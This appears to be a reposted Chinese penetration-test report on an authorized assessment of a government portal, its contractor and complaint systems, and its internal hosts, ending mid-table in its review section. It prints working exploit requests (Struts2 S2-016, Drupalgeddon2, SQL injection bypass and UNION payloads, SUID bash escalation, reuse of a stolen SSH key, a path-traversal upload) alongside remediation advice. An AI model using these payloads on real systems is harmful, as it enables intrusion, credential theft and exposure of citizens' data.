【实战】对某一国gov主站的授权渗透测试

本文转载自微信公众号「星宇Sec」,作者:佚名

原文标题:【实战】对某一国gov主站的授权渗透测试

内容版权归原作者及原公众号所有,转载仅为传播资讯;若有侵权请联系管理员删除。

图片[1]-【实战】对某一国gov主站的授权渗透测试-阻击者联盟
封面:某国gov主站授权安全评估

受相关方邀请,对某一国gov主站及其关联业务系统开展授权安全评估,以验证政府门户、业务系统和内网边界在真实攻击条件下的防护能力。评估以非破坏性验证为原则,对生产数据仅做证明危害所需的最小必要读取,未执行删除、破坏性写入或影响业务连续性的操作。

本次共确认16项具有实际控制或明确数据影响的漏洞与风险,其中严重6项、高危8项、中危2项。风险由老旧组件、SUID配置错误、系统口令与SSH私钥跨主机复用、Web目录备份泄露、SQL注入和可预测默认口令共同形成。

攻击链最终导致www.gov.xxx真实后端取得root权限、ERL应用主机取得root权限、前置代理取得命令执行权限,并可读写承载主站及OAuth数据的关键MySQL实例;投诉管理系统和承包商管理系统也分别被后台接管。

本文对评估过程、漏洞证据、业务影响和修复建议进行统一复盘。所有域名、网络地址、人员信息、账号、口令、哈希与业务标识均已脱敏,技术内容仅用于授权安全评估、防御建设和风险治理。

一、评估范围

1.1 资产范围

域名或入口
角色
网络位置
关键技术栈
www.gov.xxx
主站公网入口
F5 BIG-IP VIP
F5 ASM/APM、Apache反代
www.gov.xxx
主站前置代理
192.168.xxx.10
Ubuntu 20.04、Apache 2.4.41、OpenSSH 8.2p1
www.gov.xxx
真实Laravel后端
192.168.xxx.20
Ubuntu 20.04、Laravel 8.83.27、PHP 8.2.35
www.gov.xxx/services/erl/
ERL电子业务平台
192.168.xxx.80
Tomcat 6.0.35、Struts 2.1.2
data.gov.xxx
开放数据门户
192.168.xxx.40
Drupal 7、DKAN 1.12.11、Apache 2.4.53、PHP
c********.s****.gov.xxx
投诉管理系统
198.x.x.x1
nginx 1.18.0、PHP、MySQL 8.0.46
m****.e******.n*.gov.xxx
承包商管理系统
198.x.x.x2
cPanel/LiteSpeed、PHP、MariaDB 10.11.19

1.2 评估结果概述

本次评估共确认16项具有实际控制或明确数据影响的漏洞与风险,其中严重6项、高危8项、中危2项。主要结果集中在未认证远程代码执行、主机提权、凭据复用、内网横向移动和业务后台接管。

  • ERL业务平台存在Struts2未认证RCE,随后利用SUID-root程序取得应用主机root权限。
  • 开放数据门户存在Drupalgeddon2未认证RCE,可作为进入内网的独立跳板。
  • 系统口令与SSH私钥跨主机复用,使前置代理获得命令执行权限,并使主站真实后端取得root权限。
  • 主站数据库账号可跨库读写,影响主站、OAuth及其他站点数据。
  • 投诉管理系统后台被接管,可读取用户与投诉数据;承包商管理系统同样被接管,并存在任意可写目录文件写入。

1.3 漏洞清单

编号
站点
漏洞名称
等级
CVSS3.1
利用状态
V01
www.gov.xxx
ERL应用Struts2 S2-016远程代码执行
严重
9.8
已实际利用
V02
www.gov.xxx
ERL主机SUID-root bash本地提权
严重
7.8
已实际利用
V03
www.gov.xxx
支付网关与密钥库明文凭据泄露
高危
8.1
已实际读取
V04
www.gov.xxx
SSH私钥跨主机复用导致前置代理命令执行
高危
8.8
已实际利用
V05
www.gov.xxx
系统口令复用导致主站后端root
严重
9.1
已实际利用
V06
www.gov.xxx
主站数据库弱口令与多库读写
高危
8.1
已实际利用
V07
data.gov.xxx
Drupalgeddon2未认证远程代码执行
严重
9.8
已实际利用
V08
c********.s****.gov.xxx
后台登录SQL注入导致认证绕过
严重
9.8
已实际利用
V09
c********.s****.gov.xxx
complaint-details.php参数SQL注入
高危
8.6
已实际利用
V10
c********.s****.gov.xxx
user-search.php参数SQL注入
高危
8.6
已实际利用
V11
c********.s****.gov.xxx
未授权密码重置
中危
6.5
已实际利用
V12
c********.s****.gov.xxx
数据库导出文件未授权下载
高危
8.2
已实际利用
V13
m****.e******.n*.gov.xxx
源码备份泄露与数据库凭据暴露
高危
8.2
已实际下载并解析
V14
m****.e******.n*.gov.xxx
project-invoice参数SQL注入
严重
8.8
已实际利用
V15
m****.e******.n*.gov.xxx
承包商默认口令等于注册号
高危
8.1
已实际利用
V16
m****.e******.n*.gov.xxx
news_img路径穿越任意文件写入
中危
5.4
已实际利用

二、攻击面与总体攻击链

图片[2]-【实战】对某一国gov主站的授权渗透测试-阻击者联盟
脱敏后的公网攻击面与内网资产拓扑

图1:公网攻击面与内网资产拓扑

2.1 入口与路由

公开资产主要经由F5 BIG-IP进入。主域名承载Laravel主站,data.gov.xxx指向开放数据门户,投诉管理、承包商管理和ERL业务平台分别由独立应用或路径暴露。边界入口、反向代理与内部应用虽然分层部署,但权限和信任关系并未完全隔离。

2.2 核心资产关系

资产
地址
角色
主要风险
前置代理
192.168.xxx.10
Apache反向代理
共享私钥可登录,账号属于sudo组
主站后端
192.168.xxx.20
Laravel生产服务器
系统口令复用,可取得root
ERL主机
192.168.xxx.80
Tomcat与Struts2
未认证RCE,SUID-root提权
主站数据库
192.168.xxx.30
多站点共用MySQL
弱口令,可跨库读写
开放数据主机
192.168.xxx.40
Drupal门户
未认证RCE,可作内网跳板
数据平台库
192.168.xxx.50
开放数据MySQL
与开放数据业务关联
内部数据库
192.168.xxx.60
MySQL
共享SSH私钥可登录
内部同步主机
192.168.xxx.70
数据同步
共享SSH私钥可登录

2.3 两条攻击路径

第一条路径以ERL应用为入口:

公网ERL入口
→Struts2 S2-016未认证RCE
→tomcat低权限命令执行
→SUID-root bash提权
→读取支付配置、系统哈希、JKS与SSH私钥
→登录前置代理和内部主机
→主站后端root
→主站与OAuth数据库读写

第二条路径以开放数据门户为入口:

data.gov.xxx Drupalgeddon2
→www-data命令执行
→访问192.168.xxx.0/24
→前置代理、主站后端与数据库
→与第一条路径汇合

两条路径最终汇聚到同一组核心资产:192.168.xxx.10前置代理、192.168.xxx.20主站后端和192.168.xxx.30主站数据库。这说明风险治理不能只修复单一入口,必须同时处理边界路由、身份凭据、主机配置和应用漏洞。

图片[3]-【实战】对某一国gov主站的授权渗透测试-阻击者联盟
脱敏后的双入口攻击链汇合路径

图2:双入口攻击链汇合路径

三、www.gov.xxx漏洞详情

3.1 V01:ERL应用Struts2 S2-016远程代码执行

项目
内容
受影响URL
https://www.gov.xxx/services/erl/es/erl/view/index.action
受影响主机
192.168.xxx.80
组件
Apache Tomcat 6.0.35、Struts 2.1.2
漏洞类型
OGNL注入与远程代码执行
等级与CVSS
严重,9.8
利用条件
未认证
利用状态
已执行命令,取得tomcat权限

ERL应用通过主站/services/erl/路径直接暴露。Struts 2.1.2的DefaultActionMapper在处理以redirect:或action:开头的参数名时,会将参数值交给OGNL求值。由于表达式执行范围未受限制,可调用Java运行时API,通过ProcessBuilder启动系统进程。

先发送以下请求验证表达式求值:

curl -sk -D - 'https://www.gov.xxx/services/erl/es/erl/view/index.action?redirect:%24%7B1%2B1%7D'

响应为302,Location字段包含:

http://192.168.xxx.80:8080/erl/view/2

这一结果同时证明OGNL表达式被执行,并泄露ERL内部回源地址。随后通过ProcessBuilder执行id,返回:

uid=1002(tomcat) gid=1002(tomcat) groups=1002(tomcat)

完整URL过长,下面将端点、参数名和参数值拆开表示;实际参数值是一段URL编码后的OGNL表达式,其中通过ProcessBuilder启动系统进程。

endpoint='https://www.gov.xxx/services/erl/es/erl/view/index.action'
parameter='redirect'
value='<URL编码后的OGNL表达式>'
curl -sk "${endpoint}?${parameter}:${value}"

该表达式执行id时返回tomcat用户身份,说明攻击者已从请求解析阶段进入操作系统命令执行阶段。将命令替换为whoami、hostname或文件读取命令,即可进一步确认主机边界与可访问资源。

该漏洞无需登录、CSRF令牌或初始凭据。虽然命令执行权限为tomcat,但主机上存在SUID-root文件,且可读取支付配置、源码、密钥库和部署用户目录,因此可迅速升级为主机完全失陷。

修复时应升级Struts2至受支持安全版本;短期内若无法升级,应禁用DynamicMethodInvocation,拦截redirect:、action:、${和%24%7B等参数特征,并在F5/WAF增加S2-016规则。ERL应用不应直接暴露在主站路径下,Tomcat运行用户也不应读取支付配置、密钥库和部署用户源码。

3.2 V02:SUID-root bash本地提权

项目
内容
受影响主机
192.168.xxx.80
受影响文件
/usr/bin/bash2
漏洞类型
SUID配置错误
等级与CVSS
严重,7.8
利用条件
取得任意本地低权限命令执行
利用状态
已取得euid=0(root)

主机上存在SUID-root文件/usr/bin/bash2,权限为-rwsr-xr-x,属主和属组均为root。文件与/bin/bash的MD5一致:

MD5(/usr/bin/bash2)=[哈希已脱敏]
MD5(/bin/bash)=[哈希已脱敏]

Linux的SUID位使程序以文件属主权限运行。bash在使用-p参数时不会主动降低特权,因此任意本地用户可直接执行:

/usr/bin/bash2 -p -c 'id'

返回:

uid=1002(tomcat) gid=1002(tomcat) euid=0(root) groups=1002(tomcat)

读取/etc/shadow后获得包括以下系统账号在内的口令哈希:

root:[哈希已脱敏]
deploy-x:[哈希已脱敏]
ops-x:[哈希已脱敏]

应执行chmod u-s /usr/bin/bash2并确认文件是否仍被业务依赖,同时审计全系统SUID/SGID文件,使用文件完整性监控监测权限变化。完成取证后应重建受影响主机,并轮换支付网关、JKS、SSH和系统账号全部凭据。

3.3 V03:支付网关与密钥库明文凭据泄露

项目
内容
受影响主机
192.168.xxx.80
受影响组件
ERL配置、JKS密钥库、部署用户工作区
漏洞类型
敏感信息明文存储
等级与CVSS
高危,8.1
利用条件
已取得主机命令执行或文件读取权限
利用状态
已读取凭据和密钥库

ERL支付配置以明文保存PayGW政府支付网关凭据:

payment.gateway.clientpassword=********
payment.gateway.lgpspassword=********

e-services-configuration.properties中保存:

trust_store_password=********

部署用户/home/deploy-x的keys和newkey目录中存在以下密钥库:

paygw-key.jks
client-key.jks
erl-sign.jks
erl-trust.jks
app-cert.crt
cacerts

同时存在约49MB的ERL全量源码备份erl-source-backup.tar.gz,以及/opt/erl_new与/opt/erl_old_bk目录。系统级/etc/keys权限为drwxrwxrwx,其下/etc/keys/0001包含app-test.crt、ts.jks、erl-test.jks等测试证书,任意本地用户均可读取或替换。

部署与运维用户的bash历史还包含大量keytool命令:

keytool -genkey -alias service.erl.gov.xxx -keyalg RSA -keysize 2048 -keypass ******** -storepass ******** -keystore paygw-key.jks

上述信息可冒充ERL应用调用支付接口、打开或替换JKS签名密钥、伪造业务报文,并通过源码备份获知更多接口与内网地址。应立即轮换支付网关客户端口令、JKS口令和相关系统账号口令,迁移至HSM或密钥管理服务,并对JKS实施访问控制与操作审计。Web运行用户不得读取密钥库,源码备份应移出生产主机。

3.4 V04:SSH私钥跨主机复用导致前置代理命令执行

项目
内容
受影响主机
192.168.xxx.10、192.168.xxx.60、192.168.xxx.70
凭据来源
192.168.xxx.80
受影响账号
ops-x、deploy-x
漏洞类型
SSH私钥跨主机与跨账号复用
等级与CVSS
高危,8.8
利用条件
已取得ERL主机root或私钥读取权限
利用状态
已登录三台目标主机

ERL主机部署用户deploy-x与运维用户ops-x使用同一把3072位RSA私钥,文件为:

/home/deploy-x/.ssh/id_rsa
/home/ops-x/.ssh/id_rsa

两个文件内容一致,MD5为:

[哈希已脱敏]

该私钥被授权到以下目标:

ssh -i /home/deploy-x/id_rsa -o BatchMode=yes -o StrictHostKeyChecking=no ops-x@192.168.xxx.10
ssh -i /home/deploy-x/id_rsa -o BatchMode=yes -o StrictHostKeyChecking=no ops-x@192.168.xxx.60
ssh -i /home/deploy-x/id_rsa -o BatchMode=yes -o StrictHostKeyChecking=no ops-x@192.168.xxx.70

登录192.168.xxx.10后确认:

uid=1001(ops-x) gid=1003(ops-x) groups=1003(ops-x),27(sudo)
hostname: proxy-host

前置代理Apache配置将gov.xxx与www.gov.xxx流量转发到https://192.168.xxx.20/,将/elaws/wordpress转发到192.168.xxx.90,将/staging转发到192.168.xxx.100,并将ERL转发到内部地址。控制该主机后可修改路由、植入代理规则、监听或篡改经过的流量。

应立即吊销共享私钥并重新为每台主机和每个账号签发独立密钥,清理192.168.xxx.80、192.168.xxx.10、192.168.xxx.60和192.168.xxx.70上的authorized_keys条目。SSH应改用CA签发的短期证书、堡垒机或MFA,禁止运维账号直接暴露在生产主机。

3.5 V05:系统口令复用导致主站后端root

项目
内容
受影响主机
192.168.xxx.20、192.168.xxx.40
受影响账号
deploy-x
漏洞类型
系统口令复用与权限提升
等级与CVSS
严重,9.1
利用条件
已取得ERL配置读取或root权限
利用状态
已取得主站后端root

ERL配置和命令历史中的口令********同时是deploy-x系统账号口令。通过/etc/shadow中的SHA-512哈希可进一步确认两者一致。使用该口令成功SSH登录192.168.xxx.20,账号属于sudo组:

ssh deploy-x@192.168.xxx.20
echo '********' | sudo -S -p '' bash -c 'id; hostname; hostname -I'

返回:

uid=0(root) gid=0(root) groups=0(root)
app-host-a
192.168.xxx.20

同一口令还可登录开放数据主机192.168.xxx.40的deploy-x账号。主站后端上可读写以下生产与应用目录:

/var/www/html/main_app
/var/www/html/main_app_staging
/var/www/html/admin_app
/var/www/html/main_app_old

可读取的主站配置与备份包括:

/var/www/html/main_app/.env
/home/deploy-x/main_db_dump.sql
/home/deploy-x/main_src.zip
/root/.mysql_history
/root/.bash_history

生产.env中的关键配置为:

APP_ENV=production
APP_KEY=base64:********
DB_HOST=192.168.xxx.30
DB_PORT=3306
DB_DATABASE=main_db
DB_USERNAME=db-x
DB_PASSWORD=********

主站库导出文件main_db_dump.sql约373KB,源码压缩包main_src.zip约34MB。root权限意味着生产代码、管理后台、staging环境、旧版本代码、APP_KEY和数据库凭据均可被读取或篡改,可植入webshell、修改业务逻辑、删除数据或建立持久化。

应修改deploy-x及所有复用该口令的账号,禁止系统账号与业务配置共用口令,拆分运维账号并按最小权限授予sudo。APP_KEY、数据库凭据、支付网关口令和JKS口令均需轮换,并对受影响主机执行文件完整性、webshell、crontab和systemd持久化排查。

3.6 V06:主站数据库弱口令与多库读写

项目
内容
数据库
192.168.xxx.30:3306,MySQL 5.5.56-log
入口主机
192.168.xxx.20
受影响账号
db-x
漏洞类型
数据库弱口令与跨库权限失控
等级与CVSS
高危,8.1
利用条件
取得主站后端文件读取或内网访问权限
利用状态
已读写多库

主站.env中明文保存数据库凭据db-x/********。使用该凭据连接数据库:

mysql -h 192.168.xxx.30 -u db-x -p******** -e "select version(); show databases;"

确认数据库版本与可见库:

5.5.56-log
information_schema
web_logs
wrapper_db
main_db
info_db
mysql
oauth_db
performance_schema
phpbb
test
wordpress

db-x账号不仅可访问main_db主站库,还可访问oauth_db认证与令牌库、wordpress、phpbb、wrapper_db等站点库,以及web_logs日志库。该权限可用于批量导出公民数据、篡改网站内容、读取OAuth客户端和授权数据,并分析管理员来源地址与业务接口。

MySQL版本5.5.56已停止维护,数据库也没有按应用实施库级隔离。应修改db-x账号口令,按应用和库拆分账号,只授予业务所需的SELECT、INSERT、UPDATE权限,禁止DROP、FILE、PROCESS等高危权限,并限制数据库监听地址与来源网段。OAuth库还需单独加密、审计并轮换客户端密钥与令牌签名密钥。

四、data.gov.xxx漏洞详情

4.1 V07:Drupalgeddon2未认证远程代码执行

项目
内容
受影响URL
https://data.gov.xxx/member/password
受影响主机
192.168.xxx.40
组件
Drupal 7低于7.58、DKAN 1.12.11、Apache 2.4.53、PHP
漏洞类型
未认证远程代码执行
等级与CVSS
严重,9.8
利用条件
未认证
利用状态
已取得www-data命令执行

data.gov.xxx运行未修补的Drupal 7核心,采用DKAN 1.12.11分发。Drupal 7表单API对用户可控的#post_render与#markup属性过滤不足。攻击者可在user_pass表单中注入数组键,使Drupal渲染表单时调用passthru等PHP函数并执行系统命令。

利用时先请求/member/password获取form_build_id:

curl -sk -c cookies.txt 'https://data.gov.xxx/member/password' -o step1.html

本次实测的form_build_id为:

form-KLLsnuujTYFmqgOguBmCgS_3vh55rx0DxIz-OMNDgp8

提交带#post_render的请求:

POST /member/password?name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=id HTTP/1.1
Host: data.gov.xxx
Content-Type: application/x-www-form-urlencoded

form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&form_build_id=form-KLLsnuujTYFmqgOguBmCgS_3vh55rx0DxIz-OMNDgp8

随后通过form_build_id触发渲染:

POST /file/ajax/name/%23value/form-KLLsnuujTYFmqgOguBmCgS_3vh55rx0DxIz-OMNDgp8 HTTP/1.1
Host: data.gov.xxx
Content-Type: application/x-www-form-urlencoded

form_build_id=form-KLLsnuujTYFmqgOguBmCgS_3vh55rx0DxIz-OMNDgp8

响应返回:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

whoami返回www-data。F5 ASM未拦截该路径。该主机可访问192.168.xxx.0/24,包括192.168.xxx.10:80、192.168.xxx.20:22和192.168.xxx.30:3306,因此成为进入内网的关键跳板。主机上还保存Drupal配置、旧站备份、SMTP凭据、Drupal密钥与数据库账号。

应立即升级Drupal至7.58以上或迁移到受支持版本,应用SA-CORE-2018-002补丁,在WAF拦截#post_render、#markup和/file/ajax/name/%23value/等特征。运行用户应实施最小权限,禁止读取敏感配置与访问不必要内网服务,并轮换Drupal数据库账号、SMTP凭据、Drupal密钥和相关系统口令。

完成主机取证前应按已失陷节点处理。

五、c********.s****.gov.xxx漏洞详情

5.1 V08:后台登录SQL注入导致认证绕过

项目
内容
受影响URL
https://c********.s****.gov.xxx/admin/index.php
受影响参数
username
环境
nginx 1.18.0、PHP、MySQL 8.0.46
漏洞类型
SQL注入与认证绕过
等级与CVSS
严重,9.8
利用条件
未认证
利用状态
已取得管理员会话

后台登录接口未对username参数使用参数化查询。提交以下请求:

curl -sk -i -c cookies.txt -X POST 'https://c********.s****.gov.xxx/admin/index.php' \
  --data-urlencode "username=' OR 1=1 -- -" \
  --data-urlencode 'password=x' \
  --data-urlencode 'submit=1'

应用返回:

HTTP/1.1 302 Found
Location: dashboard.php
Set-Cookie: PHPSESSID=********

username中的单引号闭合字符串,OR 1=1使条件恒真,-- -注释后续口令校验。使用返回的PHPSESSID访问后台:

GET /admin/dashboard.php HTTP/1.1
Host: c********.s****.gov.xxx
Cookie: PHPSESSID=********

响应200,页面标题为CMS Admin Panel,显示管理员A,邮箱admin-a@example.xxx。all-complaint.php返回约160KB内容,包含约170条投诉记录;admin-profile.php泄露管理员用户名、电话与邮箱。

该漏洞使未认证攻击者直接取得后台管理能力,可读取公民姓名、联系方式与投诉内容,并为同系统的cid注入、search注入、密码重置与数据库导出问题提供会话入口。应使用参数化查询或ORM绑定,统一登录失败提示,为后台增加MFA、限速、验证码和异常告警,轮换全部管理员口令并使现有会话失效。

5.2 V09:complaint-details.php参数SQL注入

项目
内容
受影响URL
https://c********.s****.gov.xxx/admin/complaint-details.php?cid=1
受影响参数
cid
数据库
MySQL 8.0.46,账号db-user-x@localhost
漏洞类型
SQL注入
等级与CVSS
高危,8.6
利用条件
需后台会话
利用状态
已读取全库17张表

cid参数直接拼接到投诉详情查询。布尔测试中,cid=1 AND 1=1返回正常详情,cid=1 AND 1=2返回空记录;时间测试中,cid=1 AND SLEEP(5)产生约5秒延迟;UNION测试确认查询共24列。

数据库指纹与权限信息为:

VERSION():8.0.46
USER():db-user-x@localhost
@@secure_file_priv:/var/lib/mysql-files

数据规模如下:

users:约2500
complaints:约170
admin:4
tables:17

24列UNION请求示例:

curl -sk -b cookies.txt --get \
  'https://c********.s****.gov.xxx/admin/complaint-details.php' \
  --data-urlencode 'cid=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- -'

使用–get与–data-urlencode可避免手动拼接URL编码,也能更清楚地分辨目标端点与注入参数。24个占位值用于探测列数并定位页面回显位。

回显位可替换为username、password、name、phone和email等字段。当前账号为db-user-x@localhost,库内包含4个管理员账号与口令哈希、约2500条用户记录与约170条投诉记录。账号无FILE权限,且secure_file_priv限制为/var/lib/mysql-files,因此未取得文件写入或数据库主机命令执行。

虽然命令执行未成功,但可读取全部用户PII、投诉内容、管理员账号和数据库结构,风险仍属高危。cid应使用参数化查询并实施整数类型校验,数据库应用账号只授予所需表的最小权限,同时关闭详细数据库错误回显,并对UNION、SLEEP和information_schema访问实施检测。

5.3 V10:user-search.php参数SQL注入

项目
内容
受影响URL
https://c********.s****.gov.xxx/admin/user-search.php
受影响参数
search
数据库
MySQL 8.0.46
漏洞类型
SQL注入
等级与CVSS
高危,8.6
利用条件
需后台会话
利用状态
已批量读取约2500条用户记录

搜索参数被直接拼接进LIKE查询。正常搜索不存在的zzzzzz时返回空结果;提交:

search=zzzzzz' OR 1=1 -- -

接口返回约2500条用户记录,响应体约2.72MB。提交:

search=zzzzzz' AND 1=2 -- -

返回空结果,确认注入成立。请求可使用后台会话直接完成:

curl -sk -b cookies.txt -X POST 'https://c********.s****.gov.xxx/admin/user-search.php' \
  --data-urlencode "search=zzzzzz' OR 1=1 -- -" \
  -o users_dump.html

该注入点无需逐条盲注,一次响应即可导出姓名、手机号、邮箱等全部用户信息。应使用参数化查询,限制搜索关键词长度与通配符,加入分页和结果数量上限,对后台接口实施权限校验、频率限制与异常查询告警。

5.4 V11:未授权密码重置

项目
内容
受影响URL
https://c********.s****.gov.xxx/user/reset-password.php
受影响参数
email、mobileno、newpassword、confirmpassword、resetpwd
漏洞类型
身份校验缺陷
等级与CVSS
中危,6.5
利用条件
知道目标邮箱与登记手机号
利用状态
已修改测试账号口令

重置接口只比对邮箱和手机号是否与数据库记录匹配,不验证请求者是否控制邮箱或手机,不发送OTP,不要求原口令或一次性重置令牌。匹配后直接更新口令哈希。

使用的测试账号为test-user@example.xxx(id=xxx),登记手机号138****0000。请求:

curl -sk -i -X POST 'https://c********.s****.gov.xxx/user/reset-password.php' \
  --data-urlencode 'email=test-user@example.xxx' \
  --data-urlencode 'mobileno=1' \
  --data-urlencode 'newpassword=********' \
  --data-urlencode 'confirmpassword=********' \
  --data-urlencode 'resetpwd=1'

响应包含:

<script>alert('Your Password succesfully changed');</script>
<script>document.location='index.php'</script>

重置前哈希为:

[哈希已脱敏]

重置后哈希为:

[哈希已脱敏]

后者等于md5(‘********’)。使用错误手机号139****0000时哈希不变,说明接口确实检查手机号,但手机号可通过后台SQL注入批量读取,不构成身份验证。登录流程仍要求OTP,因此未取得该账号会话,但原用户口令已被篡改,构成账号拒绝服务及潜在接管条件。

应使用一次性、有时效、不可预测的重置令牌,并验证邮箱或手机所有权;禁止仅凭邮箱与手机号修改口令;重置成功后使全部旧会话失效并通知用户;接口需增加频率限制、验证码和失败次数控制。

5.5 V12:数据库导出文件未授权下载

项目
内容
受影响URL
https://c********.s****.gov.xxx/db/db.sql
文件大小
约7.3KB
漏洞类型
敏感文件未授权访问
等级与CVSS
高危,8.2
利用条件
未认证
利用状态
已下载并解析

Web根目录下的/db/db.sql可直接下载。文件包含完整表结构、管理员账号MD5哈希、业务人员明文口令与用户表字段。管理员哈希为:

[哈希已脱敏]

对应明文:

[弱口令已脱敏]

subjectofficer表中的4组业务人员口令为:

staff-a/********
staff-b/********
staff-c/********
staff-d/********

users表还包含邮箱和手机号等PII。攻击者可结合登录SQL注入、cid与search注入、密码重置问题,完全掌握投诉系统数据与管理权限。

应立即删除Web根目录中的db.sql及同类导出、备份和源码压缩包,在Web服务器层禁止访问/db/、*.sql、*.bak、*.zip和*.tar.gz,并对数据库导出实施加密存储和访问审计。全部管理员及业务人员口令必须重置,后台应启用MFA、限速和异常告警。

六、m****.e******.n*.gov.xxx漏洞详情

6.1 V13:源码备份泄露与数据库凭据暴露

项目
内容
受影响URL
/contractx.zip、/contractx_dil.zip、/contractx_new.zip
受影响主机
198.x.x.x2
环境
cPanel/LiteSpeed、PHP、MariaDB 10.11.19-cll-lve
漏洞类型
源码与凭据泄露
等级与CVSS
高危,8.2
利用条件
未认证
利用状态
已下载并解析

Web根目录存在三份完整contractx源码备份,合计约21MB、1465个以上文件。解压后的backend/db/db.php明文保存:

$servername="localhost";
$username="db-user-x";
$password="********";
$dbname="contractx_db";

/contractx/backend/db/与/contractx/backend/upload/等目录开启Index of列表,可直接浏览文件名、大小与修改时间。

使用泄露凭据连接同主机3306与cPanel/FTP均失败,说明远程数据库或服务存在来源限制或口令不同。暴露事实仍已成立,且源码完整展示了project-invoice注入逻辑、news_img上传路径和registered-contractors公开列表,为同站其他攻击提供直接依据。

应立即删除三份备份及同类文件,在Web服务器层禁止访问*.zip、*.tar.gz、*.sql、*.bak和*.old,关闭敏感目录列表,轮换数据库账号db-user-x的口令,并检查是否在其他系统复用。数据库凭据应迁移至环境变量或密钥管理服务。

6.2 V14:project-invoice参数SQL注入

项目
内容
受影响URL
/contractx/user_acc/contractor/project-invoice
受影响参数
prj、inv
数据库
MariaDB 10.11.19-cll-lve,库contractx_db
漏洞类型
SQL注入
等级与CVSS
严重,8.8
利用条件
任意承包商账号即可,默认口令可低成本获得
利用状态
已读取47张表与24个管理员账号哈希

project-invoice共38列,第5列回显date,第10列回显payment_type。prj参数中的单个反斜杠可转义模板闭合引号,inv参数未参数化,htmlspecialchars只处理引号,不处理反斜杠与十六进制字符串。

使用公开注册号C-xxxxx登录承包商门户:

curl -sk -i -c cookies.txt -X POST 'https://m****.e******.n*.gov.xxx/contractx/functions/login_validate.php' \
  --data-urlencode 'user=C-xxxxx' \
  --data-urlencode 'password=********'

返回:

{"status":"ok","acc_type":"contr"}

布尔验证请求:

curl -sk -b cookies.txt 'https://m****.e******.n*.gov.xxx/contractx/user_acc/contractor/project-invoice?prj=%5C&inv=%20OR%201%3D1%20--%20-'

prj=\且inv= OR 1=1 -- -时响应约15891字节,显示Invoice No与Payment Method;inv= AND 1=2 -- -时响应约13309字节,发票区为空。ORDER BY 1至38正常,ORDER BY 39失败,确认查询共38列。

UNION读取管理员子查询如下:

(SELECT CONCAT_WS(0x3a,id,user,pass,emp_id,access,group_id) FROM user_acc_tbl ORDER BY id LIMIT 0,1)

第10列返回:

1:admin:[哈希已脱敏]:1:1:1

user_acc_tbl共24个后台管理员账号,已确认以下哈希与口令:

[哈希已脱敏]=sha256('********')
[哈希已脱敏]=sha256('********')
[哈希已脱敏]=sha256('********')
[哈希已脱敏]=sha256('********')

对应账号均使用可预测或弱口令,说明后台认证没有形成有效的口令强度门槛。

通过information_schema.tables枚举确认全库47张表。业务表主要覆盖contractor_reg、user_acc_tbl、staff_members与project_invoice等承包商账号、员工、项目和发票数据。

projects_reg、requisition、travel_expenses、bidding_docs与evaluation_reports等表还涉及项目登记、采购申请、差旅费用、投标文件和评标资料。

应参数化prj与inv,prj使用整数或严格白名单校验,数据库账号实施最小权限,关闭详细SQL错误,轮换全部管理员与数据库口令,并针对UNION、information_schema和反斜杠逃逸增加检测。

6.3 V15:承包商默认口令等于注册号

项目
内容
受影响URL
/contractx/functions/login_validate.php
受影响账号
全部承包商账号
漏洞类型
默认口令与认证缺陷
等级与CVSS
高危,8.1
利用条件
未认证,只需公开注册号
利用状态
已登录承包商门户

系统创建承包商账号时使用:

$pwd=hash('sha256',$RegID_no);

作为初始口令。登录接口对用户输入的口令计算SHA-256后与数据库中的pass字段比较,因此输入注册号本身即可通过校验。

/contractx/registered-contractors?year=YYYY无需登录即可访问,页面约92KB,公开列出注册号、承包商名称、地址、电话与邮箱。测试从2019年列表取得C-xxxxx:

curl -sk -i -c cookies.txt -X POST 'https://m****.e******.n*.gov.xxx/contractx/functions/login_validate.php' \
  --data-urlencode 'user=C-xxxxx' \
  --data-urlencode 'password=********'

返回:

{"status":"ok","acc_type":"contr"}

并下发PHPSESSID=********。登录后可访问项目、发票、合同与个人信息,并可进入project-invoice注入点。

应禁止使用注册号或任何可预测值作为初始口令,为每名承包商生成高强度随机初始口令并通过独立安全渠道发送,首次登录强制修改并启用MFA。登录接口需限速、验证码和异常告警,公开承包商列表应实施访问控制和字段最小化。

6.4 V16:news_img路径穿越任意文件写入

项目
内容
受影响URL
/contractx/backend/function/news_img_conn.php
受影响参数
group_id、img_upload
漏洞类型
路径穿越与任意文件写入
等级与CVSS
中危,5.4
利用条件
需contractx后台管理员会话
利用状态
已在上传目录外写入并回读文件

上传代码大致逻辑为:

$group_id=htmlspecialchars($_POST['group_id']);
$dir='../upload/news_img/'.$group_id.'/';
if(!is_dir($dir)){mkdir($dir,0777,true);}
move_uploaded_file($_FILES['img_upload']['tmp_name'],$dir.$random.'.'.$ext);

htmlspecialchars不处理../,group_id可控制最终目录。文件扩展名白名单为png、jpg、jpeg、pdf,文件名由随机6位数字加扩展名生成。

通过公开承包商列表取得注册号并以默认口令登录,再通过project-invoice读取管理员账号;已确认admin-x/********可登录后台。前端JavaScript挑战可通过无头浏览器完成,实测下发的会话为PHPSESSID=,挑战Cookie为wssplashchk=

准备1x1PNG:

printf 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChwGA60e6kgAAAABJRU5ErkJggg==' | base64 -d > test.png

使用group_id=../pwn_out上传后写入:

/contractx/backend/upload/pwn_out/xxxxxx.png

使用group_id=../../../pwn_root上传后写入:

/contractx/pwn_root/xxxxxx.png

两个文件均为70字节,HTTP返回200,二进制内容与test.png一致。扩展名限制和Web服务器解析策略阻止了PHP命令执行,但路径穿越与任意可写目录文件写入已经成立,可覆盖图片或PDF、写入恶意内容、消耗磁盘,或结合其他漏洞扩大影响。

应对group_id实施只允许字母、数字、下划线与短横线的白名单,禁止点和路径分隔符;使用realpath规范化最终路径,并确认其位于上传基目录;上传目录禁止执行脚本,服务端应校验真实文件类型和文档结构,随机文件名不得受用户控制。

七、跨系统风险复盘

图片[4]-【实战】对某一国gov主站的授权渗透测试-阻击者联盟
16项漏洞的风险分布

图3:16项漏洞的风险分布

7.1 单点问题如何升级为系统性失陷

本次评估确认的核心问题并非某个单一0day,而是多个普通缺陷形成了连续攻击路径:

缺陷
单独影响
与攻击链叠加后的结果
Struts 2 S2-016
tomcat命令执行
获得ERL主机初始入口
SUID-root bash
本地提权
将Web权限升级为root
